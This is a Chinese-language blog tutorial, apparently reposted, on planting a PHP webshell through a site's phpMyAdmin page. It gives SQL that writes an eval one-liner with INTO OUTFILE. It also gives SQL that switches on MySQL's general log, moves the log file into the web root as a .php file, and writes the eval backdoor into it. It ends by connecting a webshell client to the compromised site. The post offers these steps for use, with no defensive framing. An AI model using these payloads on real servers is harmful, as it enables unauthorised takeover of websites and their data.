關於phpmyadmin新姿勢getshell

2020-12-29 21:01:15

下面由欄目給大家介紹phpmyadmin新姿勢getshell,希望對需要的朋友有所幫助!

百度百科: 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的資料庫管理工具,讓管理者可用Web介面管理MySQL資料庫。藉由此Web介面可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。其中一個更大的優勢在於由於phpMyAdmin跟其他PHP程式一樣在網頁伺服器上執行,但是您可以在任何地方使用這些程式產生的HTML頁面,也就是於遠端管理MySQL資料庫,方便的建立、修改、刪除資料庫及資料表。也可藉由phpMyAdmin建立常用的php語法,方便編寫網頁時所需要的sql語法正確性。

通俗的講 其作用就是可以在web頁面方便的運算元據庫。

當我們得到一個站點的phpmyadmin頁面時,下一步要做的就是getshell。

可以通過寫shell進行提權,而我們需要滿足以下條件:

1.資料庫root許可權

2.知道網站的物理路徑

3.資料庫有寫許可權

通過 select '<?php eval($_POST=[123];)?>' INTO OUTFILE '網站物理路徑' 寫入shell

本文主要講的是在條件3不滿足的情況下成功getshell。

利用條件:MySQL 5.0+

MySQL 5.0+的版本會自動建立紀錄檔檔案,那麼在服務執行的情況下修改全域性變數也是可以變動檔案位置的,但是必須要對生成紀錄檔的目錄有可讀可寫的許可權。

(Linux環境下可能會比較苛刻,因為站點目錄是一個使用者,MySQL是另外一個使用者,許可權管控較為嚴格,主要取決於許可權設定是否得當)

首先我們測試站點是否有寫許可權

執行sql語句 SHOW VARIABLES LIKE 'secure_file_priv'

sql語句 SHOW VARIABLES LIKE 'secure_file_priv' 進行查詢 查詢secure_file_priv

secure-file-priv特性
secure-file-priv引數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。

  • 當secure_file_priv的值為null ,表示限制mysql 不允許匯入|匯出

  • 當secure_file_priv的值為/tmp/ ,表示限制mysql 的匯入|匯出只能發生在/tmp/目錄下

  • 當secure_file_priv的值沒有具體值時,表示不對mysql 的匯入|匯出做限制

可以在mysql-ini檔案中設定其屬性

經測試,我們沒有寫許可權

然後再介紹兩個MySQL全域性變數(general_log、general_log file

  1. general log 指的是紀錄檔儲存狀態,一共有兩個值(ON/OFF)ON代表開啟 OFF代表關閉。
  2. general log file 指的是紀錄檔的儲存路徑。

我們可以通過將一句話木馬寫入mysql紀錄檔中然後移動mysql紀錄檔路徑到網站目錄下實現getshell

執行sql語句 SHOW VARIABLES LIKE 'general_log%' 進行模糊查詢

紀錄檔預設關閉

我們執行sql語句

set global general_log = "ON";     #開啟紀錄檔
SET global general_log_file='網站下物理路徑';  #更換紀錄檔路徑

成功建立

然後執行特殊的查詢語句

select  '<?php eval($_POST[aaa]);?>'

我們進入112233.php進行驗證,成功寫入shell

最後進行菜刀連線,獲得站點webshell

以上就是關於phpmyadmin新姿勢getshell的詳細內容,更多請關注TW511.COM其它相關文章!